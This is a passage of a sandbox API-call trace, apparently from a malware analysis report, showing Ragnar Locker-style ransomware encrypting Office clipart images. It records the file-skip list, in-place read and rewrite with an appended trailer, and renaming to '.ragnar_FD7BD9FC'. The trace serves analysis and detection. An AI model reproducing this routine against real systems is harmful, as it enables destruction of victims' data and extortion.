"c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg")) returned 0x20 [0088.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.087] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=107508) returned 1 [0088.088] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a3eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.088] GetProcessHeap () returned 0x580000 [0088.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.088] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.089] VirtualAlloc (lpAddress=0x0, dwSize=0x1a3f4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.089] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.089] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.089] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a3f4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1a3f4, lpOverlapped=0x0) returned 1 [0088.092] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.093] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a3f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.093] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a3f4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1a3f4, lpOverlapped=0x0) returned 1 [0088.093] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a3f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.093] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.094] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a3f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.094] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.094] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.094] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.094] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.094] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.094] GetProcessHeap () returned 0x580000 [0088.094] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.094] CloseHandle (hObject=0xf4) returned 1 [0088.094] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" [0088.094] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.ragnar_FD7BD9FC" [0088.094] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.095] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18ac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382961.JPG", cAlternateFileName="")) returned 1 [0088.095] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.095] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382961.JPG" | out: lpString1="J0382961.JPG") returned="J0382961.JPG" [0088.095] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG") returned=".JPG" [0088.095] lstrcmpiW (lpString1="J0382961.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.095] lstrcmpiW (lpString1="J0382961.JPG", lpString2="autorun.inf") returned 1 [0088.095] lstrcmpiW (lpString1="J0382961.JPG", lpString2="boot.ini") returned 1 [0088.095] lstrcmpiW (lpString1="J0382961.JPG", lpString2="bootfont.bin") returned 1 [0088.095] lstrcmpiW (lpString1="J0382961.JPG", lpString2="bootsect.bak") returned 1 [0088.095] lstrcmpiW (lpString1="J0382961.JPG", lpString2="bootmgr") returned 1 [0088.095] lstrcmpiW (lpString1="J0382961.JPG", lpString2="bootmgr.efi") returned 1 [0088.095] lstrcmpiW (lpString1="J0382961.JPG", lpString2="bootmgfw.efi") returned 1 [0088.095] lstrcmpiW (lpString1="J0382961.JPG", lpString2="desktop.ini") returned 1 [0088.095] lstrcmpiW (lpString1="J0382961.JPG", lpString2="iconcache.db") returned 1 [0088.095] lstrcmpiW (lpString1="J0382961.JPG", lpString2="ntldr") returned -1 [0088.095] lstrcmpiW (lpString1="J0382961.JPG", lpString2="ntuser.dat") returned -1 [0088.095] lstrcmpiW (lpString1="J0382961.JPG", lpString2="ntuser.dat.log") returned -1 [0088.095] lstrcmpiW (lpString1="J0382961.JPG", lpString2="ntuser.ini") returned -1 [0088.095] lstrcmpiW (lpString1="J0382961.JPG", lpString2="thumbs.db") returned -1 [0088.095] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.095] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.095] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.095] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.096] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.096] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.096] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg")) returned 0x20 [0088.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.096] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=101060) returned 1 [0088.096] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x18abb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.096] GetProcessHeap () returned 0x580000 [0088.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.096] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.097] VirtualAlloc (lpAddress=0x0, dwSize=0x18ac4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.098] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.098] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.098] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x18ac4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x18ac4, lpOverlapped=0x0) returned 1 [0088.100] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.101] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18ac4, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.101] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x18ac4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x18ac4, lpOverlapped=0x0) returned 1 [0088.101] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18ac4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.101] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.102] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x18ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.102] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.102] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.102] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.102] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.102] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.102] GetProcessHeap () returned 0x580000 [0088.102] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.102] CloseHandle (hObject=0xf4) returned 1 [0088.102] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" [0088.102] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG.ragnar_FD7BD9FC" [0088.102] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.103] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bef7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382962.JPG", cAlternateFileName="")) returned 1 [0088.103] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.103] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382962.JPG" | out: lpString1="J0382962.JPG") returned="J0382962.JPG" [0088.103] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG") returned=".JPG" [0088.103] lstrcmpiW (lpString1="J0382962.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.103] lstrcmpiW (lpString1="J0382962.JPG", lpString2="autorun.inf") returned 1 [0088.103] lstrcmpiW (lpString1="J0382962.JPG", lpString2="boot.ini") returned 1 [0088.103] lstrcmpiW (lpString1="J0382962.JPG", lpString2="bootfont.bin") returned 1 [0088.103] lstrcmpiW (lpString1="J0382962.JPG", lpString2="bootsect.bak") returned 1 [0088.103] lstrcmpiW (lpString1="J0382962.JPG", lpString2="bootmgr") returned 1 [0088.103] lstrcmpiW (lpString1="J0382962.JPG", lpString2="bootmgr.efi") returned 1 [0088.103] lstrcmpiW (lpString1="J0382962.JPG", lpString2="bootmgfw.efi") returned 1 [0088.103] lstrcmpiW (lpString1="J0382962.JPG", lpString2="desktop.ini") returned 1 [0088.103] lstrcmpiW (lpString1="J0382962.JPG", lpString2="iconcache.db") returned 1 [0088.103] lstrcmpiW (lpString1="J0382962.JPG", lpString2="ntldr") returned -1 [0088.103] lstrcmpiW (lpString1="J0382962.JPG", lpString2="ntuser.dat") returned -1 [0088.103] lstrcmpiW (lpString1="J0382962.JPG", lpString2="ntuser.dat.log") returned -1 [0088.103] lstrcmpiW (lpString1="J0382962.JPG", lpString2="ntuser.ini") returned -1 [0088.103] lstrcmpiW (lpString1="J0382962.JPG", lpString2="thumbs.db") returned -1 [0088.103] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.104] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.104] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.104] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.104] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.104] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.104] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg")) returned 0x20 [0088.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.104] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=114423) returned 1 [0088.104] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1beee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.104] GetProcessHeap () returned 0x580000 [0088.104] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.104] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.106] VirtualAlloc (lpAddress=0x0, dwSize=0x1bef7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.106] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.106] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.106] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1bef7, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1bef7, lpOverlapped=0x0) returned 1 [0088.109] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.110] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1bef7, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.110] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1bef7, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1bef7, lpOverlapped=0x0) returned 1 [0088.110] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1bef7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.110] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.111] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1bef7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.111] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.111] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.111] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.111] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.111] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.111] GetProcessHeap () returned 0x580000 [0088.111] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.111] CloseHandle (hObject=0xf4) returned 1 [0088.111] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" [0088.111] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.ragnar_FD7BD9FC" [0088.111] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.112] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382963.JPG", cAlternateFileName="")) returned 1 [0088.112] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.112] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382963.JPG" | out: lpString1="J0382963.JPG") returned="J0382963.JPG" [0088.112] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG") returned=".JPG" [0088.112] lstrcmpiW (lpString1="J0382963.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.112] lstrcmpiW (lpString1="J0382963.JPG", lpString2="autorun.inf") returned 1 [0088.112] lstrcmpiW (lpString1="J0382963.JPG", lpString2="boot.ini") returned 1 [0088.112] lstrcmpiW (lpString1="J0382963.JPG", lpString2="bootfont.bin") returned 1 [0088.112] lstrcmpiW (lpString1="J0382963.JPG", lpString2="bootsect.bak") returned 1 [0088.112] lstrcmpiW (lpString1="J0382963.JPG", lpString2="bootmgr") returned 1 [0088.112] lstrcmpiW (lpString1="J0382963.JPG", lpString2="bootmgr.efi") returned 1 [0088.112] lstrcmpiW (lpString1="J0382963.JPG", lpString2="bootmgfw.efi") returned 1 [0088.112] lstrcmpiW (lpString1="J0382963.JPG", lpString2="desktop.ini") returned 1 [0088.112] lstrcmpiW (lpString1="J0382963.JPG", lpString2="iconcache.db") returned 1 [0088.112] lstrcmpiW (lpString1="J0382963.JPG", lpString2="ntldr") returned -1 [0088.112] lstrcmpiW (lpString1="J0382963.JPG", lpString2="ntuser.dat") returned -1 [0088.112] lstrcmpiW (lpString1="J0382963.JPG", lpString2="ntuser.dat.log") returned -1 [0088.112] lstrcmpiW (lpString1="J0382963.JPG", lpString2="ntuser.ini") returned -1 [0088.113] lstrcmpiW (lpString1="J0382963.JPG", lpString2="thumbs.db") returned -1 [0088.113] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.113] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.113] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.113] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.113] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.113] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.113] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg")) returned 0x20 [0088.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.113] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=97774) returned 1 [0088.113] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17de5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.113] GetProcessHeap () returned 0x580000 [0088.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.113] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, 